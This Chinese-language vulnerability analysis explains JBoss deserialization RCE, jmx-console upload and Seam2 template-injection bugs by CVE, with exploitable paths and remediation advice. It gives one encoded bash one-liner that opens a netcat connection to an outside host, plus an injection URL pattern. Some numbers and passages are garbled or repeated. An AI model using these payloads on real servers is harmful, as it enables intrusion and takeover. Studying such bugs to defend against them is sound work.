JBoss高危漏洞分析
前言
JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行。
0×01 JBoss优点
JBoss有许多优点。
其二，本身就是面向服务架构（Service-Oriented Architecture，SOA）；
其三，具有统一的类装载器，从而能够实现应用的热部署和热卸载能力。
因此，高度模块化的和松耦合。JBoss应用服务器是健壮的、高质量的，而且还具有良好的性能。
JBoss AS作为Redhat公司的商业产品JBoss Enterprise Application Platform的上游基础，为了避免用户混淆，该公司在去年10月份就为JBoss AS拟定一个新名字——WildFly。
由此看来，国内使用JBoss服务的用户很广泛，因此防范JBoss漏洞就显得尤为重要了。一旦JBoss的潘多拉魔盒被打开，必将在当今网络中掀起腥风血雨。
0×02 高危漏洞介绍
近几年JBoss爆发的漏洞数量与其他著名的中间件（Weblogic,Jenkins,WebSphere等）相比，数量相对较少。然而，由于最近几年Java反序列化漏洞的肆虐，JBoss也深受其害，相继爆发了三个著名的高危漏洞。
下面介绍一下JBoss“潘多拉魔盒”中的高危漏洞。
JBoss高危漏洞主要涉及到两种。
第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞，例如：CVE-2007-1036，CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。
另一种是利用Java反序列化进行远程代码执行的漏洞，例如：CVE-2015-7501，CVE-2017-7504，CVE-2017-12149，CVE-2013-4810。
除此之外，还要额外介绍一下JBoss seam2的模板注入CVE-2010-1871漏洞。
Java反序列化RCE漏洞
关于Java反序列化漏洞的利用思路此前已经介绍过，详情请看http://www.freebuf.com/vuls/179579.html。
1. CVE-2015-7501漏洞
此漏洞主要是由于JBoss中invoker/JMXInvokerServlet路径对外开放，由于JBoss的jmx组件支持Java反序列化，并且在反序列化过程中没有加入有效的安全检测机制，导致攻击者可以传入精心构造好的恶意序列化数据，在jmx对其进行反序列化处理时，导致传入的携带恶意代码的序列化数据执行，造成反序列化漏洞，下面是传入的序列化结构。
从图中我们可以看到，此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同，都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。
CVE-2015-7501 POC
首先我们进入到/invoker/JMXInvokerServlet路径下，post传入我们构造好的payload，下面的序列化POC需要将16进制解码。
在上面的POC中，cmd是我们想要执行的代码，这里大家注意一下，binascii.b2a_hex(cmd)前面的两位（标红的部分）是代表cmd转换为16进制的长度。所以需要根据我们具体传入的代码而进行调整。
这个漏洞的修补方法很简单，因为ysoserial工具生成的payload都依赖于InvokerTransformer类。如果用户在正常业务中不使用此类，可以将此类移除，方法为使用Winzip打开jar文件，在org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。
2. CVE-2017-7504漏洞
CVE-2017-7504漏洞与CVE-2015-7501的漏洞如出一辙，只是利用的路径稍微出现了变化，CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下，一般出现如图所示的界面，绝大多数存在此漏洞。
漏洞的利用方式也和CVE-2105-7501相同，只需要在存在漏洞的路径下post传入我们构造的payload，即可对存在漏洞的服务器进行远程代码攻击。Payload使用上面提到的CVE-2015-7501的POC即可。
3. CVE-2017-12149漏洞
此漏洞主要是由于jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter方法，再将序列化传入ois中，并没有进行过滤便调用了readObject()进行反序列化，导致传入的携带恶意代码的序列化数据执行，造成了反序列化的漏洞，下面粘出doFilter方法。
看到代码中的MarshalledInvocation，也许熟悉weblogic Java反序列化漏洞的同学可能会想到CVE-2016-3510漏洞。没错，这个漏洞也是利用了MarshalledInvocation类进行的Java反序列化攻击。首先我们进入到/invoker/readonly路径下，post传入我们构造好的payload，下面的序列化POC需要将16进制解码。
CVE-2017-12149的POC（序列化）
这里我们在cmd_hex所在位置，必须要插入类似于
bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}
这种形式的命令才可以达到攻击效果，这是因为使用了“Java.lang.Runtime.exec(String)”语句而导致的一些限制。首先是不支持shell操作符，如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格。同样前面标红的那两位(b1)也需要和我们插入的指令长度相符，这是Java序列化中的结构规定。
如果进入到漏洞所在路径看见如下图的界面，很可能存在CVE-2017-12149漏洞。
4. CVE-2013-4810漏洞
此漏洞和CVE-2015-7501漏洞原理相同，这里详细介绍一下两者的区别，其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作，而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
首先我们进入到/invoker/JMXInvokerServlet，/invoker/EJBInvokerServlet路径下，post传入我们构造好的payload，并在头部传入。
下面的序列化POC需要将16进制解码。
CVE-2013-4810的POC（序列化）
POC的序列化结构如下图：
图中红框位置就是我们执行上传文件功能（jboss.admin中的DeploymentFileRepository）的代码和上传文件的内容。
另外如果是检测web-console/Invoker路径下的漏洞，则传入http头部如下：
post传入的payload如下：
POC的序列化结构如下图：
图中红框位置就是我们上传文件内容。
JBoss后台文件上传的漏洞
1.CVE-2007-1036漏洞
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到jmx控制台，并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法，通过向四个参数传入信息，达到上传shell的目的，其中arg0传入的是部署的war包名字，arg1传入的是上传的文件的文件名，arg2传入的是上传文件的文件格式，arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell，控制整台服务器。但是通过实验发现，arg1和arg2可以进行文件的拼接，例如arg1=she，arg2=ll.jsp。这个时候服务器还是会进行拼接，将shell.jsp传入到指定路径下。后面的CVE-2010-0738和CVE-2005-5750漏洞也存在这一特性。
CVE-2007-1036 POC
其中war_name是部署war包的名称，filename是我们想要上传的文件名。漏洞利用过程就是将POC以GET或POST方式在/jmx-console/HtmlAdaptor路径下进行传入即可。
下图是利用此payload进行shell上传：
这个是存在漏洞的后台路径：
图中的store()函数便是文件上传使用的方法，通过构造内部的4的参数，将我们构造好的文件传到任何我们指定的位置。
2. CVE-2010-0738漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同，唯一的区别是CVE-2010-0738漏洞利用了HTTP中HEAD请求方法，绕过了对GET和POST请求的限制，成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上传文件。
CVE-2010-0738 POC
其中war_name是部署war包的名称，filename是我们想要上传的文件名。漏洞利用过程就是将POC以HEAD方式在/jmx-console/HtmlAdaptor路径下进行传入即可。
下图是成功上传shell的截图。
3. CVE-2005-5750漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同，唯一的区别是CVE-2006-5750漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。
CVE-2005-5750 POC
其中war_name是部署war包的名称，filename是我们想要上传的文件名。在/jmx-console/HtmlAdaptor路径下，使用HEAD方法传入上面构造好的payload，即可对此漏洞进行利用。
下图是成功上传shell的截图。
4. JBoss jmx-consoleHtmlAdaptor addURL() 文件上传漏洞
此漏洞是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到jmx控制台，并在其中执行任何功能。该漏洞利用的是后台jboss.deployment -> DeploymentScanner -> Java.net.URL类型 addURL()
方法，通过向一个参数传入url进行访问，在要访问的url中构造带有shell的war包，当服务器访问时便会上传shell。但是，上传shell的文件只是一个映射文件，当url一旦无法访问或者内部资源丢失，则服务器上的文件也会相应消失。
JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC
其中arg0传入的是我们可以控制服务器访问的url。在/jmx-console/HtmlAdaptor路径下GET传入我们构造好的payload，即可对此漏洞进行漏洞利用。
下图是漏洞利用所选择的函数：
防御以上漏洞，其实只需要将JBoss后台添加权限，控制访问者对敏感路径访问即可。
JBoss seam2模板注入
在介绍漏洞之前，首先介绍一下Java反射机制。
很多POC都是利用Java的反射机制来调用需要的方法进行远程代码执行。在Java中，一切皆为对象，包括Class对象。Java反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性。
在下面的漏洞中，我们可以利用一些函数去反射需要的类，以及类的方法。例如，利用getClass()函数获取类，并利用getMethod()获取我们想要反射的方法。在CVE-2010-1871，就是通过反射出Java.lang.Runtime.getRuntime().exec()方法，进行远程代码执行。
1.CVE-2010-1871漏洞
此漏洞是通过seam组件中插入#{payload}进行模板注入，我们可以在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入我们要执行的方法，我们可以通过Java反射机制来获取到Java.lang.Runtime.getRuntime().exec()方法，从而可以传入任何想要执行的指令。
CVE-2010-1871 POC
其中cmd代表传入的远程命令。在/admin-console/login.seam路径下，POST传入我们构造好的payload，即可对此漏洞利用。
0×03 结语
目前，JBoss未授权访问的漏洞已经得到了很好的修复，一些对外组件都添加了权限访问控制，想继续利用
JBoss的潘多拉魔盒已经开启，每一个JBoss高危漏洞都会给使用JBoss的用户造成巨大的灾难。传言，潘多拉在开启魔盒的瞬间，由于害怕和紧张，在智慧女神雅典娜放在盒子中的“希望”还没有飞出，就关上了盒子，导致了人类饱受疾病与灾难的痛苦。那么作为一个安全研究员，放飞盒子中的“希望”就是我们现在需要努力的方向。及时的在漏洞爆发期间完成对漏洞的分析，并完成对漏洞的预防，防止漏洞攻击在网络环境中肆虐，保护大家的网络环境，这便是安全研究员的职责所在。
目前，JBoss未授权访问的漏洞已经得到了很好的修复，一些管理后台都添加了权限访问控制，想继续通过JBoss后台进行文件上传在现在的JBoss版本已经很少能实现了。目前JBoss的攻击趋势随着2015年FoxGlove Security 安全团队的 @breenmachine 博客的发布而渐渐偏向于Java反序列化攻击。因为这种攻击的特点是，危险等级高，影响范围广，一个Java反序列化漏洞造成的影响是巨大的。所以对于JBoss，我们需要做的防护措施就是，在各个对外开放组件进行输入验证，确保传入的信息中没有对服务器产生危害的内容。
